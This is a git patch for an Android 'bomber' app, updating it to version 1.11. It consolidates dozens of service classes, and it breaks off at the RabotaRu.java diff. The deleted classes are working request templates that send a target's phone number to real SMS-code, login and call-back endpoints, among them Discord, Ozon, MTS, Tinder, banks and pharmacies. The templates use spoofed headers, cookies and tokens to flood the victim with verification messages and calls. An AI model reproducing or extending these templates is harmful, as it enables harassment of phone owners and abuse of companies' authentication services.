From c11d08577ad04d195b110f12460604ba58a935fb Mon Sep 17 00:00:00 2001 From: Dmitry Date: Thu, 31 Mar 2022 17:37:49 +0300 Subject: [PATCH] feat: Update 1.11 --- .idea/misc.xml | 4 + app/build.gradle | 5 +- app/release/output-metadata.json | 4 +- .../java/com/dm/bomber/services/Aitu.java | 25 -- .../dm/bomber/services/AptekaOtSklada.java | 37 -- .../java/com/dm/bomber/services/BApteka.java | 20 - .../com/dm/bomber/services/CallMyPhone.java | 30 -- .../java/com/dm/bomber/services/CarSmile.java | 37 -- .../com/dm/bomber/services/ChestnyZnak.java | 25 -- .../java/com/dm/bomber/services/Choco.java | 18 - .../com/dm/bomber/services/Citimobil.java | 58 --- .../java/com/dm/bomber/services/Discord.java | 25 -- .../java/com/dm/bomber/services/Eldorado.java | 43 -- .../java/com/dm/bomber/services/FoodBand.java | 17 - .../com/dm/bomber/services/FriendsClub.java | 27 -- .../com/dm/bomber/services/GoldApple.java | 25 -- .../com/dm/bomber/services/Gorparkovka.java | 35 -- .../com/dm/bomber/services/Ievaphone.java | 30 -- .../main/java/com/dm/bomber/services/MTS.java | 17 - .../java/com/dm/bomber/services/Metro.java | 35 -- .../com/dm/bomber/services/Modulebank.java | 27 -- .../com/dm/bomber/services/MoeZdorovie.java | 29 -- .../java/com/dm/bomber/services/Mozen.java | 40 -- .../main/java/com/dm/bomber/services/OK.java | 16 - .../java/com/dm/bomber/services/Ozon.java | 76 ---- .../java/com/dm/bomber/services/Pizzaman.java | 17 - .../com/dm/bomber/services/PrivetMir.java | 23 - .../java/com/dm/bomber/services/RabotaRu.java | 79 ---- .../com/dm/bomber/services/Robocredit.java | 58 --- .../com/dm/bomber/services/SberMobile.java | 27 -- .../java/com/dm/bomber/services/SberZvuk.java | 26 -- .../java/com/dm/bomber/services/Services.java | 410 +++++++++++------- .../com/dm/bomber/services/Sportmaster.java | 64 --- .../java/com/dm/bomber/services/Tele2.java | 28 -- .../java/com/dm/bomber/services/TikTok.java | 35 -- .../java/com/dm/bomber/services/Tinder.java | 44 -- .../com/dm/bomber/services/TochkaBank.java | 29 -- .../java/com/dm/bomber/services/VKWorki.java | 51 --- .../java/com/dm/bomber/services/VapeZone.java | 18 - .../com/dm/bomber/services/Zdravcity.java | 43 -- .../java/com/dm/bomber/ui/MainActivity.java | 75 +++- .../java/com/dm/bomber/ui/MainRepository.java | 2 +- .../java/com/dm/bomber/ui/MainViewModel.java | 37 +- .../bomber/ui/adapters/BomberWorkAdapter.java | 93 ++++ .../ui/{ => adapters}/CountryCodeAdapter.java | 2 +- .../res/drawable/work_item_background.xml | 11 + app/src/main/res/layout/dialog_settings.xml | 14 +- app/src/main/res/layout/work_item.xml | 46 ++ app/src/main/res/values-kz/strings.xml | 1 + app/src/main/res/values-ru/strings.xml | 1 + app/src/main/res/values-uk/strings.xml | 1 + app/src/main/res/values/strings.xml | 1 + app/src/main/res/values/styles.xml | 2 +- 53 files changed, 520 insertions(+), 1423 deletions(-) delete mode 100644 app/src/main/java/com/dm/bomber/services/Aitu.java delete mode 100644 app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java delete mode 100644 app/src/main/java/com/dm/bomber/services/BApteka.java delete mode 100644 app/src/main/java/com/dm/bomber/services/CallMyPhone.java delete mode 100644 app/src/main/java/com/dm/bomber/services/CarSmile.java delete mode 100644 app/src/main/java/com/dm/bomber/services/ChestnyZnak.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Choco.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Citimobil.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Discord.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Eldorado.java delete mode 100644 app/src/main/java/com/dm/bomber/services/FoodBand.java delete mode 100644 app/src/main/java/com/dm/bomber/services/FriendsClub.java delete mode 100644 app/src/main/java/com/dm/bomber/services/GoldApple.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Gorparkovka.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Ievaphone.java delete mode 100644 app/src/main/java/com/dm/bomber/services/MTS.java delete mode 100755 app/src/main/java/com/dm/bomber/services/Metro.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Modulebank.java delete mode 100644 app/src/main/java/com/dm/bomber/services/MoeZdorovie.java delete mode 100755 app/src/main/java/com/dm/bomber/services/Mozen.java delete mode 100644 app/src/main/java/com/dm/bomber/services/OK.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Ozon.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Pizzaman.java delete mode 100644 app/src/main/java/com/dm/bomber/services/PrivetMir.java delete mode 100755 app/src/main/java/com/dm/bomber/services/RabotaRu.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Robocredit.java delete mode 100644 app/src/main/java/com/dm/bomber/services/SberMobile.java delete mode 100644 app/src/main/java/com/dm/bomber/services/SberZvuk.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Sportmaster.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Tele2.java delete mode 100755 app/src/main/java/com/dm/bomber/services/TikTok.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Tinder.java delete mode 100644 app/src/main/java/com/dm/bomber/services/TochkaBank.java delete mode 100755 app/src/main/java/com/dm/bomber/services/VKWorki.java delete mode 100644 app/src/main/java/com/dm/bomber/services/VapeZone.java delete mode 100644 app/src/main/java/com/dm/bomber/services/Zdravcity.java create mode 100644 app/src/main/java/com/dm/bomber/ui/adapters/BomberWorkAdapter.java rename app/src/main/java/com/dm/bomber/ui/{ => adapters}/CountryCodeAdapter.java (98%) create mode 100644 app/src/main/res/drawable/work_item_background.xml create mode 100644 app/src/main/res/layout/work_item.xml diff --git a/.idea/misc.xml b/.idea/misc.xml index fed6542..3017b57 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -16,9 +16,13 @@ + + + + diff --git a/app/build.gradle b/app/build.gradle index 78b7854..5d5d69a 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -17,7 +17,7 @@ android { applicationId "com.dm.bomber" minSdkVersion 21 targetSdkVersion 32 - versionCode 18 + versionCode 19 versionName "1.11" } @@ -44,7 +44,8 @@ dependencies { implementation 'androidx.preference:preference:1.2.0' implementation 'androidx.work:work-runtime:2.7.1' - implementation 'com.google.android.material:material:1.6.0-alpha03' + implementation 'com.google.android.material:material:1.6.0-beta01' + implementation 'com.squareup.okhttp3:okhttp:5.0.0-alpha.5' implementation 'jp.wasabeef:blurry:4.0.1' } \ No newline at end of file diff --git a/app/release/output-metadata.json b/app/release/output-metadata.json index e6e01ed..5a51726 100644 --- a/app/release/output-metadata.json +++ b/app/release/output-metadata.json @@ -11,8 +11,8 @@ "type": "SINGLE", "filters": [], "attributes": [], - "versionCode": 18, - "versionName": "1.10.4", + "versionCode": 19, + "versionName": "1.11", "outputFile": "app-release.apk" } ], diff --git a/app/src/main/java/com/dm/bomber/services/Aitu.java b/app/src/main/java/com/dm/bomber/services/Aitu.java deleted file mode 100644 index cc695ff..0000000 --- a/app/src/main/java/com/dm/bomber/services/Aitu.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class Aitu extends JsonService { - - public Aitu() { - setUrl("https://passport.aitu.io/api/v1/sms/request-code"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java b/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java deleted file mode 100644 index 6541d04..0000000 --- a/app/src/main/java/com/dm/bomber/services/AptekaOtSklada.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class AptekaOtSklada extends JsonService { - - public AptekaOtSklada() { - setUrl("https://apteka-ot-sklada.ru/api/auth/requestBySms"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36"); - builder.addHeader("Referer", "https://apteka-ot-sklada.ru/"); - builder.addHeader("Cookie", "view=cells; rrpvid=24619267054741; _ym_uid=1636286951705640313; _ym_d=1636286951; _userGUID=0:kvp703r5:SMXe9bUHp0EH7rSESSEl5f0Cok3so0~f; dSesn=5f508f7e-3233-c0ad-9615-da80eeb230d9; _dvs=0:kvp703r5:ObGEZ0XDeSbtbpM5Jj2VUiyZMqb4Ew9O; rcuid=61599a1653897c0001d741da; _ym_visorc=w; _fbp=fb.1.1636286951447.1474107645; _ga=GA1.2.183591085.1636286952; _gid=GA1.2.1930335220.1636286952; _gat_gtag_UA_65450830_1=1; _ym_isad=2; mark=7967c245-86b4-40c8-afb5-7fbf3359583d; rrwpswu=true"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/BApteka.java b/app/src/main/java/com/dm/bomber/services/BApteka.java deleted file mode 100644 index d891f9f..0000000 --- a/app/src/main/java/com/dm/bomber/services/BApteka.java +++ /dev/null @@ -1,20 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.Request; - -public class BApteka extends Gorparkovka { - - public BApteka() { - setUrl("https://b-apteka.ru/api/lk/send_code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Dalvik/2.1.0 (Linux; U; Android 11; M2010J19SY Build/RKQ1.201004.002)"); - builder.addHeader("b-apteka-session", "null"); - - return super.buildRequest(builder); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/CallMyPhone.java b/app/src/main/java/com/dm/bomber/services/CallMyPhone.java deleted file mode 100644 index 035cdc6..0000000 --- a/app/src/main/java/com/dm/bomber/services/CallMyPhone.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.dm.bomber.services; - -import java.util.UUID; - -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class CallMyPhone extends ParamsService { - - public CallMyPhone() { - setUrl("https://callmyphone.org/do-call"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "uid=" + UUID.randomUUID().toString()); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", "+" + getFormattedPhone()); - builder.addQueryParameter("browser", "undefined;"); - builder.addQueryParameter("fgp", UUID.randomUUID().toString()); - builder.addQueryParameter("fgp2", UUID.randomUUID().toString()); - builder.addQueryParameter("rememberNumber", "0"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/CarSmile.java b/app/src/main/java/com/dm/bomber/services/CarSmile.java deleted file mode 100644 index 6f75466..0000000 --- a/app/src/main/java/com/dm/bomber/services/CarSmile.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class CarSmile extends JsonService { - - public CarSmile() { - setUrl("https://api.carsmile.com/"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "okhttp/3.12.1"); - builder.addHeader("authorization", "Bearer null"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("operationName", "enterPhone"); - json.put("variables", new JSONObject().put("phone", getFormattedPhone())); - json.put("query", "mutation enterPhone($phone: String!) {\n enterPhone(phone: $phone)\n}\n"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java b/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java deleted file mode 100644 index 04a039f..0000000 --- a/app/src/main/java/com/dm/bomber/services/ChestnyZnak.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class ChestnyZnak extends JsonService { - - public ChestnyZnak() { - setUrl("https://mobile.api.crpt.ru/mobile/login"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Choco.java b/app/src/main/java/com/dm/bomber/services/Choco.java deleted file mode 100644 index a02462e..0000000 --- a/app/src/main/java/com/dm/bomber/services/Choco.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class Choco extends FormService { - - public Choco() { - setUrl("https://api-proxy.choco.kz/user/v2/code"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("login", getFormattedPhone()); - builder.add("client_id", "-5"); - builder.add("dispatch_type", "call"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Citimobil.java b/app/src/main/java/com/dm/bomber/services/Citimobil.java deleted file mode 100644 index e829be1..0000000 --- a/app/src/main/java/com/dm/bomber/services/Citimobil.java +++ /dev/null @@ -1,58 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Citimobil extends JsonService { - - public Citimobil() { - setUrl("https://c-api.city-mobil.ru/client/v1/auth/phone/send"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("cm-market", "googlePlay"); - builder.addHeader("cm-app-os-name", "Android"); - builder.addHeader("cm-app-version", "4.75.1.1173"); - builder.addHeader("cm-app-os-version", "11"); - builder.addHeader("cm-app-os-android-api-version", "30"); - builder.addHeader("cm-device-time", "2021-08-14T02:45:39.635+05:00"); - builder.addHeader("cm-device", "abcdefghjklm12345"); - builder.addHeader("cm-session", "bruhhhh"); - builder.addHeader("cm-notification-token", "shshwjwjsjdj"); - builder.addHeader("User-Agent", "CMRider/4.75.1.1173 (Android 11; Xiaomi MABOBA; dick)"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - json.put("brand", "Redmi"); - json.put("model", "MABOBA"); - json.put("os_version", "11"); - json.put("adv_id", "random"); - json.put("android_id", "abcdefghjklm12345"); - json.put("ver", "4.75.1"); - json.put("appsflyer_id", "bruh"); - json.put("auth_token", ""); - json.put("devid", "abcdefghjklm12345"); - json.put("device_token", "random"); - json.put("id_device", "abcdefghjklm12345"); - json.put("locale", "ru"); - json.put("method", "v1/auth/phone/send"); - json.put("phone_os", "android"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Discord.java b/app/src/main/java/com/dm/bomber/services/Discord.java deleted file mode 100644 index 6f44ffa..0000000 --- a/app/src/main/java/com/dm/bomber/services/Discord.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class Discord extends JsonService { - - public Discord() { - setUrl("https://discord.com/api/v9/auth/register/phone"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Eldorado.java b/app/src/main/java/com/dm/bomber/services/Eldorado.java deleted file mode 100644 index b22065e..0000000 --- a/app/src/main/java/com/dm/bomber/services/Eldorado.java +++ /dev/null @@ -1,43 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Eldorado extends JsonService { - - public Eldorado() { - setUrl("https://mobileapi.eldorado.ru/v1/user/auth/login"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("User-Agent", "Dalvik/2.1.0 (Linux; U; Android 10; Redmi Note 3 Build/QQ3A.200905.001)"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - JSONObject body = new JSONObject(); - JSONObject head = new JSONObject(); - - try { - body.put("userLogin", "+" + getFormattedPhone()); - head.put("uid", "unknown"); - head.put("os", "unknown"); - head.put("v", "unknown"); - head.put("FbToken", "unknown"); - json.put("requestBody", body); - json.put("requestHeader", head); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/FoodBand.java b/app/src/main/java/com/dm/bomber/services/FoodBand.java deleted file mode 100644 index ce02f61..0000000 --- a/app/src/main/java/com/dm/bomber/services/FoodBand.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; - -public class FoodBand extends ParamsService { - - public FoodBand() { - setUrl("https://is.foodband.ru/api/rest/public/v2/customers/sendVerificationCode"); - setPhoneCode("7"); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", phone); - builder.addQueryParameter("token", "173f3678-b66c-4074-a280-f7df26009d26"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/FriendsClub.java b/app/src/main/java/com/dm/bomber/services/FriendsClub.java deleted file mode 100644 index 96e8fd5..0000000 --- a/app/src/main/java/com/dm/bomber/services/FriendsClub.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class FriendsClub extends JsonService { - - public FriendsClub() { - setUrl("https://lk.friendsclub.ru/CustomerOfficeService/Identity/RequestAdvancedPhoneEmailRegistration"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("signature", "CaS5aeKZO1B"); - json.put("mobilePhone", "+" + getFormattedPhone()); - json.put("Source", "11"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/GoldApple.java b/app/src/main/java/com/dm/bomber/services/GoldApple.java deleted file mode 100644 index 5a9b8fe..0000000 --- a/app/src/main/java/com/dm/bomber/services/GoldApple.java +++ /dev/null @@ -1,25 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class GoldApple extends JsonService { - - public GoldApple() { - setUrl("https://goldapple.ru/rest/V2.1/mobile/auth/send_sms_code?store_id=1&type=android"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Gorparkovka.java b/app/src/main/java/com/dm/bomber/services/Gorparkovka.java deleted file mode 100644 index d1ce980..0000000 --- a/app/src/main/java/com/dm/bomber/services/Gorparkovka.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Gorparkovka extends JsonService { - - public Gorparkovka() { - setUrl("https://belparking.ru/auth/api/1.0/pincodes"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-client-info", "androidMobileApp/2.6.5"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Ievaphone.java b/app/src/main/java/com/dm/bomber/services/Ievaphone.java deleted file mode 100644 index 2d8506b..0000000 --- a/app/src/main/java/com/dm/bomber/services/Ievaphone.java +++ /dev/null @@ -1,30 +0,0 @@ -package com.dm.bomber.services; - -import java.util.UUID; - -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class Ievaphone extends ParamsService { - - public Ievaphone() { - setUrl("https://ievaphone.com/call-my-phone/web/request-free-call"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("Cookie", "smscookie=" + UUID.randomUUID().toString()); - - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phone", getFormattedPhone()); - builder.addQueryParameter("domain", "IEVAPHONE"); - builder.addQueryParameter("browser", "undefined;"); - builder.addQueryParameter("fgp", UUID.randomUUID().toString()); - builder.addQueryParameter("fgp2", UUID.randomUUID().toString()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/MTS.java b/app/src/main/java/com/dm/bomber/services/MTS.java deleted file mode 100644 index 7695036..0000000 --- a/app/src/main/java/com/dm/bomber/services/MTS.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.HttpUrl; - -public class MTS extends ParamsService { - - public MTS() { - setUrl("https://prod.tvh.mts.ru/tvh-public-api-gateway/public/rest/general/send-code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("msisdn", getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Metro.java b/app/src/main/java/com/dm/bomber/services/Metro.java deleted file mode 100755 index b50b2b1..0000000 --- a/app/src/main/java/com/dm/bomber/services/Metro.java +++ /dev/null @@ -1,35 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Metro extends JsonService { - - public Metro() { - setUrl("https://api.metro-cc.ru/auth/api/v1/public/send_otp"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("authorization", "9c0fe65e-51a9-4b7c-a54d-b2b28f3a922f"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", "+" + getFormattedPhone()); - json.put("smsHash", "hi2LBOdVq64"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Modulebank.java b/app/src/main/java/com/dm/bomber/services/Modulebank.java deleted file mode 100644 index 85e51f2..0000000 --- a/app/src/main/java/com/dm/bomber/services/Modulebank.java +++ /dev/null @@ -1,27 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -public class Modulebank extends JsonService { - - public Modulebank() { - setUrl("https://my.modulbank.ru/api/v2/registration/nameAndPhone"); - setMethod(POST); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("FirstName", getRussianName()); - json.put("CellPhone", phone); - json.put("Package", "optimal"); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java b/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java deleted file mode 100644 index d638018..0000000 --- a/app/src/main/java/com/dm/bomber/services/MoeZdorovie.java +++ /dev/null @@ -1,29 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; -import okhttp3.HttpUrl; -import okhttp3.Request; - -public class MoeZdorovie extends ParamsService { - - public MoeZdorovie() { - setUrl("https://mc.moezdorovie.ru/api/identity/Account/LoginApi"); - setMethod(POST); - } - - @Override - public Request buildRequest(Request.Builder builder) { - FormBody.Builder body = new FormBody.Builder(); - body.add("phone", "+" + getFormattedPhone()); - - builder.addHeader("User-Agent", "Mozilla/5.0 (Linux; Android 11; None Build/RKQ1.201004.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.159 Mobile Safari/537.36"); - - builder.method(method, body.build()); - return super.buildRequest(builder); - } - - @Override - public void buildParams(HttpUrl.Builder builder) { - builder.addQueryParameter("phoneNumber", "+" + getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Mozen.java b/app/src/main/java/com/dm/bomber/services/Mozen.java deleted file mode 100755 index 019ec1c..0000000 --- a/app/src/main/java/com/dm/bomber/services/Mozen.java +++ /dev/null @@ -1,40 +0,0 @@ -package com.dm.bomber.services; - -import org.json.JSONException; -import org.json.JSONObject; - -import okhttp3.Request; - -public class Mozen extends JsonService { - - public Mozen() { - setUrl("https://mobile.mozen.io/api/auth/1/login/phone"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public Request buildRequest(Request.Builder builder) { - builder.addHeader("x-app-id", "e2010c2f-3983-4e5c-b297-ccfb82a678ee"); - builder.addHeader("x-device-id", "null"); - builder.addHeader("x-app-version", "v1.4.344-mozen-release"); - builder.addHeader("x-app-flavour", "mozen"); - builder.addHeader("x-platform", "android"); - builder.addHeader("x-user-location", "lat=0.000000&lon=0.000000"); - - return super.buildRequest(builder); - } - - @Override - public String buildJson() { - JSONObject json = new JSONObject(); - - try { - json.put("phone", "+" + getFormattedPhone()); - } catch (JSONException e) { - e.printStackTrace(); - } - - return json.toString(); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/OK.java b/app/src/main/java/com/dm/bomber/services/OK.java deleted file mode 100644 index 872071a..0000000 --- a/app/src/main/java/com/dm/bomber/services/OK.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class OK extends FormService { - - public OK() { - setUrl("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone"); - setMethod(POST); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("st.r.phone", "+" + getFormattedPhone()); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/Ozon.java b/app/src/main/java/com/dm/bomber/services/Ozon.java deleted file mode 100644 index 86ff8c2..0000000 --- a/app/src/main/java/com/dm/bomber/services/Ozon.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.dm.bomber.services; - -import androidx.annotation.NonNull; - -import org.json.JSONException; -import org.json.JSONObject; - -import java.io.IOException; - -import okhttp3.Call; -import okhttp3.MediaType; -import okhttp3.OkHttpClient; -import okhttp3.Request; -import okhttp3.RequestBody; -import okhttp3.Response; - -public class Ozon extends Service { - - @Override - public void run(OkHttpClient client, Callback callback) { - JSONObject json = new JSONObject(); - - try { - json.put("vendor", "Xiaomi"); - json.put("hasSmartLock", "true"); - json.put("hasBiometrics", "true"); - json.put("biometryType", "FINGER_PRINT"); - json.put("model", "Xiaomi M2010J19SY"); - json.put("deviceId", "none"); - json.put("version", "11"); - } catch (JSONException e) { - e.printStackTrace(); - } - - client.newCall(new Request.Builder() - .url("https://api.ozon.ru/composer-api.bx/page/json/v1?url=%2Fmy%2Fentry%2Fcredentials-required") - .header("User-Agent", "ozonapp_android/13.18+1650") - .post(RequestBody.create(json.toString(), MediaType.parse("application/json"))) - .build()).enqueue(new okhttp3.Callback() { - @Override - public void onFailure(@NonNull Call call, @NonNull IOException e) { - callback.onFailure(call, e); - } - - @Override - public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException { - try { - JSONObject json = new JSONObject(response.body().string()); - JSONObject req = new JSONObject(); - - req.put("vendor", "Xiaomi"); - req.put("hasSmartLock", "true"); - req.put("hasBiometrics", "true"); - req.put("biometryType", "FINGER_PRINT"); - req.put("model", "Xiaomi M2010J19SY"); - req.put("deviceId", "none"); - req.put("version", "11"); - req.put("phone", getFormattedPhone()); - - client.newCall(new Request.Builder() - .url("https://api.ozon.ru/composer-api.bx/_action/" + json - .getJSONObject("csma") - .getJSONObject("entryCredentialsRequired") - .getJSONObject("entryCredentialsRequired-227543-default-1") - .getJSONObject("submitButton") - .getString("action")) - .header("User-Agent", "ozonapp_android/13.18+1650") - .post(RequestBody.create(req.toString(), MediaType.parse("application/json"))) - .build()).enqueue(callback); - } catch (JSONException | NullPointerException e) { - callback.onError(e); - } - } - }); - } -} \ No newline at end of file diff --git a/app/src/main/java/com/dm/bomber/services/Pizzaman.java b/app/src/main/java/com/dm/bomber/services/Pizzaman.java deleted file mode 100644 index ef56fd3..0000000 --- a/app/src/main/java/com/dm/bomber/services/Pizzaman.java +++ /dev/null @@ -1,17 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class Pizzaman extends FormService { - - public Pizzaman() { - setUrl("https://pizzaman.ru/index.php?route=pizzaman/user/sendCode"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("user", format(phone, "+7+(***)+**-**-***")); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/PrivetMir.java b/app/src/main/java/com/dm/bomber/services/PrivetMir.java deleted file mode 100644 index 2c1269a..0000000 --- a/app/src/main/java/com/dm/bomber/services/PrivetMir.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.dm.bomber.services; - -import okhttp3.FormBody; - -public class PrivetMir extends FormService { - - public PrivetMir() { - setUrl("https://api-user.privetmir.ru/api/send-code"); - setMethod(POST); - setPhoneCode("7"); - } - - @Override - public void buildBody(FormBody.Builder builder) { - builder.add("back_url", "/register/step-2/"); - builder.add("scope", "register-user"); - builder.add("login", getFormattedPhone()); - builder.add("checkExist", "Y"); - builder.add("checkApproves", "Y"); - builder.add("approve1", "on"); - builder.add("approve2", "on"); - } -} diff --git a/app/src/main/java/com/dm/bomber/services/RabotaRu.java b/app/src/main/java/com/dm/bomber/services/RabotaRu.java deleted file mode 100755 index c01d8bd..0000000 --- a/app/src/main/java/com/dm/bomber/services/RabotaRu.java +++ 